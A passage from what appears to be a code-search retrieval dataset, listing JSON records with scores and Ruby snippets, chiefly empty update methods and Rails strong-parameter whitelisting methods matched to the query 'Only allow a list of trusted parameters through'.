"score": "0.6092834",
"text": "def update()\n end",
"title": ""
},
{
"docid": "5ca2caa1a207739e77f437de35e41cf1",
"score": "0.6081404",
"text": "def update ; end",
"title": ""
},
{
"docid": "c682b14ccbc7ce70e315324f2fb45b60",
"score": "0.6080872",
"text": "def update\n @button_player.update\n @button_player2.update\n @button_rdy.update\n @button_return.update\n if (@game_state_model::game_mode != :pvp)\n @ai_grid.each { |gv| gv.update }\n @ai_grid_empty.each { |gve| gve.update }\n end\n end",
"title": ""
},
{
"docid": "f04c152af473721d1b4ff8b89615e4b0",
"score": "0.6071742",
"text": "def update_host_game\n if @name_input_textbox.active\n @name_input_textbox.update\n if Input.trigger?(Input::DOWN) || @port_textbox.clicked_on?\n @port_textbox.active = true\n @name_input_textbox.active = false\n end\n else\n @port_textbox.update\n if Input.trigger?(Input::UP) || @name_input_textbox.clicked_on?\n @name_input_textbox.active = true\n @port_textbox.active = false\n end\n end\n \n if Input.trigger?(Input::Key['Enter'])\n @phase = 3\n @user_logger.visible = true\n @name_input_textbox.active = false\n @port_textbox.active = false\n \n @name_input_textbox.visible = false\n @name_input_label.visible = false\n @port_textbox.visible = false\n @port_label.visible = false\n end\n end",
"title": ""
},
{
"docid": "245daa1ff566583ffa92e5f2036b01ab",
"score": "0.6068361",
"text": "def update\n reset\n end",
"title": ""
},
{
"docid": "9e7723d04cc305bb20911c25b641fecd",
"score": "0.605637",
"text": "def update_search_info\n update_item_button_list\n update_info\n update_scroll_bar\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
},
{
"docid": "dc1181921395ed1c63f2b45eefaf0ee6",
"score": "0.6055014",
"text": "def update\n end",
"title": ""
}
] |
e561e11bcf379ef5dc139c210017366b | Only allow a list of trusted parameters through. | [
{
"docid": "274995dbe5252c99231bbf511b7ffb82",
"score": "0.0",
"text": "def user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.74768823",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.71700543",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.7044907",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "55ec6c1cf1b67ffe1cee0d4fec651d18",
"score": "0.7009515",
"text": "def allowed_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n\n params.each do |key, value|\n next if @list_of_allowed_params.index(key.to_s).present?\n\n fail! \"Parameter :#{key} is not allowed\", key.to_sym\n end\n end",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.69897616",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.6773957",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.6758029",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "53d67b9c2ed1e0132c46653273fc708d",
"score": "0.67139274",
"text": "def whitelisted_args\n args.select(&:allowed)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6638781",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "caf5e21ffb495f1a2566ca6a564a6fdb",
"score": "0.6633307",
"text": "def allowed_arguments(arguments); end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6630876",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c31ef48e8fd467d94158d7ac7f405a3f",
"score": "0.65786487",
"text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6551157",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6529035",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6529035",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "cac0774e508766d2f487cbca3db95df0",
"score": "0.650781",
"text": "def allow_params?\n definition[:param_tokens]\n end",
"title": ""
},
{
"docid": "58d1451e57b0e767db2fc6721dfaa6be",
"score": "0.64761394",
"text": "def allowed_parameters\n parameters.keys\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.64282405",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.63983387",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.63592577",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.6339914",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.6327032",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.63192505",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "706df0e25391ed2b932f54a646bb0a10",
"score": "0.6280703",
"text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end",
"title": ""
},
{
"docid": "839591b72f27e154e4840464f1f4684d",
"score": "0.6278046",
"text": "def whitelist=(lst)\n uri.querystring_params[\"whitelist\"] = lst.split(\",\").map(&:strip).reject{|e|e.blank?}\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.62771213",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e64490ed35123aafa1b4627bd165517d",
"score": "0.62693745",
"text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end",
"title": ""
},
{
"docid": "094cae2a77f3def05726eb7961449324",
"score": "0.62682945",
"text": "def allowed; end",
"title": ""
},
{
"docid": "cc60076a498957ddcd05472aa576a2b1",
"score": "0.62651163",
"text": "def param_whitelist\n case action_name\n when 'create'\n [:type, :author_id, :participant_ids]\n else\n [:participant_ids]\n end\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.62642586",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.62642586",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.6229388",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.6229388",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6213818",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "21e97a45d3f9fc907204c8dfd146be09",
"score": "0.62028986",
"text": "def required_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n list.map(&:to_s).each do |param|\n next if params[param].present?\n\n fail! \"Parameter :#{param} should be present\", param\n end\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.61983657",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.61918944",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9ac9542f33069f9d46e4393194623b4c",
"score": "0.61912215",
"text": "def snippets_list_params\n params.require(:snippets_list).permit(:is_public, :tags)\n end",
"title": ""
},
{
"docid": "69d3720ae33b0a9e88f3a951595e767f",
"score": "0.6184765",
"text": "def sanitize_parameters!(sanitizer, params)\n endian = params[:endian] || self.endian\n fields = params[:fields] || self.fields\n hide = params[:hide] || self.hide\n\n params[:endian] = endian unless endian.nil?\n params[:fields] = fields\n params[:hide] = hide\n\n # add default parameters\n default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n super(sanitizer, params)\n end",
"title": ""
},
{
"docid": "a322581bdbf994c8ac99b2f8da40b18f",
"score": "0.61772996",
"text": "def user_params\n params.require(:user).permit(:first_name,:last_name,:email).tap do |whitelisted|\n p params[:user][:role_ids].reject { |c| c.empty? }\n whitelisted[:role_ids] = params[:user][:role_ids].reject { |c| c.empty? }\n end\nend",
"title": ""
},
{
"docid": "9e289c8e3757ad76ffbd2a6991acef28",
"score": "0.61578906",
"text": "def allowed_params\n %i[\n user_defined_id_statelocal\n user_defined_id_cdc\n user_defined_id_nndss\n first_name\n middle_name\n last_name\n date_of_birth\n age\n sex\n white\n black_or_african_american\n american_indian_or_alaska_native\n asian\n native_hawaiian_or_other_pacific_islander\n ethnicity\n primary_language\n secondary_language\n interpretation_required\n nationality\n address_line_1\n foreign_address_line_1\n address_city\n address_state\n address_line_2\n address_zip\n address_county\n monitored_address_line_1\n monitored_address_city\n monitored_address_state\n monitored_address_line_2\n monitored_address_zip\n monitored_address_county\n foreign_address_city\n foreign_address_country\n foreign_address_line_2\n foreign_address_zip\n foreign_address_line_3\n foreign_address_state\n foreign_monitored_address_line_1\n foreign_monitored_address_city\n foreign_monitored_address_state\n foreign_monitored_address_line_2\n foreign_monitored_address_zip\n foreign_monitored_address_county\n primary_telephone\n primary_telephone_type\n secondary_telephone\n secondary_telephone_type\n email\n preferred_contact_method\n preferred_contact_time\n port_of_origin\n source_of_report\n source_of_report_specify\n flight_or_vessel_number\n flight_or_vessel_carrier\n port_of_entry_into_usa\n travel_related_notes\n additional_planned_travel_type\n additional_planned_travel_destination\n additional_planned_travel_destination_state\n additional_planned_travel_destination_country\n additional_planned_travel_port_of_departure\n date_of_departure\n date_of_arrival\n additional_planned_travel_start_date\n additional_planned_travel_end_date\n additional_planned_travel_related_notes\n last_date_of_exposure\n potential_exposure_location\n potential_exposure_country\n contact_of_known_case\n contact_of_known_case_id\n travel_to_affected_country_or_area\n was_in_health_care_facility_with_known_cases\n was_in_health_care_facility_with_known_cases_facility_name\n laboratory_personnel\n laboratory_personnel_facility_name\n healthcare_personnel\n healthcare_personnel_facility_name\n exposure_notes\n crew_on_passenger_or_cargo_flight\n monitoring_plan\n exposure_risk_assessment\n member_of_a_common_exposure_cohort\n member_of_a_common_exposure_cohort_type\n isolation\n jurisdiction_id\n assigned_user\n symptom_onset\n case_status\n ]\n end",
"title": ""
},
{
"docid": "4f7be6ec5bf491c0125e1c2091de0a80",
"score": "0.61395127",
"text": "def place_allow_list_params\n params.permit(:place_id, :group_category_id, :enable)\n end",
"title": ""
},
{
"docid": "3512da8c3cbc10950f1c278d883a22d0",
"score": "0.6128934",
"text": "def check_permit!\n tracker.find_call(:method => :permit!).each do |result|\n if params? result[:call].target and not result[:chain].include? :slice\n warn_on_permit! result\n end\n end\n end",
"title": ""
},
{
"docid": "3ae7a4551c9ded91965010fecb51d76b",
"score": "0.6116012",
"text": "def validate_parameters(allow: [], required: nil, require_any_of: nil) # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += require_any_of\n end\n\n allow += %i(client_args stub_data aws_region aws_endpoint aws_retry_limit aws_retry_backoff resource_data)\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer)\n return true if [TrueClass, FalseClass].include?(a.class)\n !a.empty?\n end\n true\n end",
"title": ""
},
{
"docid": "356c5fd5dcbe9214f1330792fa2e18b5",
"score": "0.61158365",
"text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "f19218511bb46b261576fd4a0359ddd0",
"score": "0.6112491",
"text": "def public_list_params\n params.require(:public_list).permit(:name, :description, places_attributes: [])\n end",
"title": ""
},
{
"docid": "76ec9935ef327d0b5d1af534978cb4f8",
"score": "0.6111488",
"text": "def voter_list_params\n params.require(:voter_list).permit(:user_id, :selection_process_id, :estado, :search, :admission)\n end",
"title": ""
},
{
"docid": "96a4c3e9d28624613a41897ea478af4c",
"score": "0.6111325",
"text": "def list_params\n params.require(:list).permit(:name, :description, :user_id)\n end",
"title": ""
},
{
"docid": "b275e68d657aac7565b7da55922cbcae",
"score": "0.6102179",
"text": "def should_filter_params(*keys)\n ::ActiveSupport::Deprecation.warn(\"use: should filter_param\")\n keys.each do |key|\n should filter_param(key)\n end\n end",
"title": ""
},
{
"docid": "5775dd2574b8acbba92a6a825c2a30b7",
"score": "0.6079451",
"text": "def allow_scopes(*args)\n @target.filterable_scopes = args\n end",
"title": ""
},
{
"docid": "7e3b725e746658a932308b2245800100",
"score": "0.6065513",
"text": "def list_params\n params.require(:list).permit(:user_id)\n end",
"title": ""
},
{
"docid": "b436ac15f83c93ec97a7852cc3cd560d",
"score": "0.6064122",
"text": "def list_params\n params.require(:list).permit(\n :name, :user_id, :location_ids => []\n )\n end",
"title": ""
},
{
"docid": "f5b444bcf4dbe089582ac3c3cf81ca92",
"score": "0.60615236",
"text": "def price_list_params\n params.fetch(:price_list, {}).permit(PriceList::PERMITED_PARAMS)\n end",
"title": ""
},
{
"docid": "d5df8448adfa675e6d25aeb23d7a5e34",
"score": "0.6058738",
"text": "def sanitize_query_fields\n allowed_fields = @list.property_index_keys\n return request.query_parameters.select {|key, val| allowed_fields.include?(key)}\n end",
"title": ""
},
{
"docid": "61d793e7f8b92dfddfe9ee932db6bae5",
"score": "0.60527927",
"text": "def my_list_params\n params.require(:my_list).permit(:user_id, :query)\n end",
"title": ""
},
{
"docid": "3da9117a80cdfd040f0f0ed9d3ffed55",
"score": "0.60501283",
"text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6045103",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.6032686",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "25220437209ae6056988e50c38a01211",
"score": "0.6025226",
"text": "def trust_params\n trusts = params.select { |k, _v| k.starts_with?(\"vault_entry_\") }\n permitted_params = {}\n trusts.keys.each do |trust|\n permitted_params[trust] = [:id, :name, :notes, :document_id, agent_ids: [], trustee_ids: [], successor_trustee_ids: [], share_ids: [],\n share_with_contact_ids: []]\n end\n trusts.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "08a3b9a8de9dd7334ffe66919731cb94",
"score": "0.60225105",
"text": "def permit_params!(params)\n if @allow_all_params\n params.permit!\n elsif @allowed_params\n @allowed_params.each do |resource, attributes|\n if params[resource].respond_to? :permit\n params[resource] = params[resource].permit(*attributes)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4aa2ef6967e8f3024acea2b3d1cfd9e5",
"score": "0.6019055",
"text": "def allow_list_all?\n false\n end",
"title": ""
},
{
"docid": "45791845cef485d15b7014088dd0be8d",
"score": "0.60152686",
"text": "def allowed_params\n %i[title body]\n end",
"title": ""
},
{
"docid": "cb7fc4ad3e08a4341c6395a2c154c575",
"score": "0.6009825",
"text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end",
"title": ""
},
{
"docid": "cb7fc4ad3e08a4341c6395a2c154c575",
"score": "0.6009825",
"text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.6003619",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "0c9d4c365c1621bdf0a6b700bd6e3bef",
"score": "0.59931374",
"text": "def cleanedParams(params)\n params.select {|k, v| ALLOWED_PARAMS.include? k}\n end",
"title": ""
},
{
"docid": "71f97bda880101aa36b21017c0787f98",
"score": "0.5989032",
"text": "def validate_params\n invalid_parameter = @params.find { |key, value| !ConsolidatedScreeningList::PARAMETERS.key?(key) }\n raise ArgumentError, \"Invalid parameter: #{@params}\" if invalid_parameter\n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.5984926",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59798354",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
},
{
"docid": "f023b3871638291b75273a71bc75459c",
"score": "0.59747314",
"text": "def page_list_params\n params.permit(:url_list)\n params[:page_list].permit!\n end",
"title": ""
},
{
"docid": "d78d0776c63005d7f56f3a21b5e4c50a",
"score": "0.59729695",
"text": "def user_list_params\n params.require(:user_list).permit(:user_id, :list_id)\n end",
"title": ""
},
{
"docid": "4cf4346dd54b99fe0a7782ceaf7c26be",
"score": "0.5971315",
"text": "def quotation_list_params\n params.require(:quotation_list).permit!\n end",
"title": ""
},
{
"docid": "38ed4234ecadfc5889a7c25028dc9a58",
"score": "0.5965672",
"text": "def sanitize(params = {})\n blacklist = options.fetch(:blacklist, []).map(&:to_s)\n redacted_string = options.fetch(:redacted_string, 'REDACTED')\n params.each do |param, _value|\n params[param] = redacted_string if blacklist.include?(param.to_s)\n end\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.5962804",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "5fc4ba2ae074a90a66c53c25e751f3f0",
"score": "0.5960231",
"text": "def black_list_params\n params.require(:black_list).permit(:user)\n end",
"title": ""
},
{
"docid": "63f5e4e9733f9e6b3f98d5e069440292",
"score": "0.595559",
"text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end",
"title": ""
},
{
"docid": "8e519fbf8b7f524a91ac5c7f842a6121",
"score": "0.59538776",
"text": "def validate_params_present!; end",
"title": ""
},
{
"docid": "037a774fcd9c86ff09a88570fba7bebd",
"score": "0.59527713",
"text": "def filter_for ownable\n # get the class name of the ownable\n class_name = ownable.class_name_to_sym.to_s\n \n # make sure params format is as follows:\n # { ownable_class_name: {param1: :value, param2: :value} }\n params.required(class_name)\n\n # return {} if !params || params.empty?\n\n # get a list of attributes that are allowed for this item\n # could be true, false, or an array of allowed attributes\n allowed_attributes = attributes_for(ownable)\n\n # decide how to handle the received attributes\n if allowed_attributes == true\n \n # allow all\n params.permit!\n\n elsif allowed_attributes == false\n \n # allow none\n params.permit *[]\n\n else\n \n # filter out everything except allowed_attributes\n params.permit *allowed_attributes\n \n raise params.to_yaml\n end\n\n end",
"title": ""
},
{
"docid": "d4e0fd0cd70ef3707f081791087f33b6",
"score": "0.5949399",
"text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n opts = @opts\n allow += %i(azure_retry_limit azure_retry_backoff azure_retry_backoff_factor\n endpoint api_version required_parameters allowed_parameters display_name method)\n Validators.validate_parameters(resource_name: @__resource_name__,\n allow: allow, required: required,\n require_any_of: require_any_of, opts: opts)\n true\n end",
"title": ""
},
{
"docid": "d7f0d4c3dc66c34a6e17c0a14432c0e9",
"score": "0.5946416",
"text": "def verification_list_params\n params.require(:verification_list).permit!\n end",
"title": ""
},
{
"docid": "5ed866fb3c6ebdffbc794d04bb9f2531",
"score": "0.5945795",
"text": "def list_params\n params.fetch(:list, {}).permit(\n :name\n )\n end",
"title": ""
},
{
"docid": "ba0704d4182a1a6fb0a743f6eb9cd25e",
"score": "0.59403497",
"text": "def check_params\n\t\t\t return []\t\t\t \n\tend",
"title": ""
},
{
"docid": "229afde2ab7c3109de2027d47fba2c70",
"score": "0.5937114",
"text": "def white_list_params(params, allowed_values, ignored_values = [])\n result = {}\n params.each_pair do |key, value|\n if allowed_values.include? key\n result[key] = value\n elsif !ignored_values.include?(key)\n raise SwaggerInvalidException.new(\"Unknown property [#{key}] with value [#{value}]#{list_or_none(allowed_values, 'properties')}\")\n end\n end\n result\n end",
"title": ""
},
{
"docid": "a99f218b156087cc665291b5dfc21e1f",
"score": "0.59363353",
"text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: region must be provided via environment variable or hash parameter\" if required.include?(:region) && (!@opts.is_a?(Hash) || (@opts[:region].nil? || @opts[:region] == \"\"))\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += require_any_of\n end\n\n allow += %i{region} unless allow.include?(:region)\n allow += %i{endpoint} unless allow.include?(:endpoint)\n @opts.delete(:region) if @opts.is_a?(Hash) && @opts[:region].nil?\n\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer) || a.instance_of?(TrueClass) || a.instance_of?(FalseClass)\n\n !a.empty?\n end\n\n true\n end",
"title": ""
},
{
"docid": "527035c39c066958cc202c06528f2673",
"score": "0.59362227",
"text": "def patient_list_params\n params.require(:patient_list).permit!\n end",
"title": ""
},
{
"docid": "ab49b0baeea5bf6f204adca9e864094e",
"score": "0.59332967",
"text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"title": ""
},
{
"docid": "5b53a222b1dec771125370679892e873",
"score": "0.5929766",
"text": "def sanitize(raw_parameters = {})\n kept_params = {}\n sanitize_nesting(kept_params, @whitelist, symbolize_recursive(raw_parameters))\n kept_params\n end",
"title": ""
},
{
"docid": "d8b02fce801fc219417d86d0ca117836",
"score": "0.59260756",
"text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end",
"title": ""
},
{
"docid": "d8b02fce801fc219417d86d0ca117836",
"score": "0.59260756",
"text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.5921627",
"text": "def room_allowed_params\n end",
"title": ""
},
{
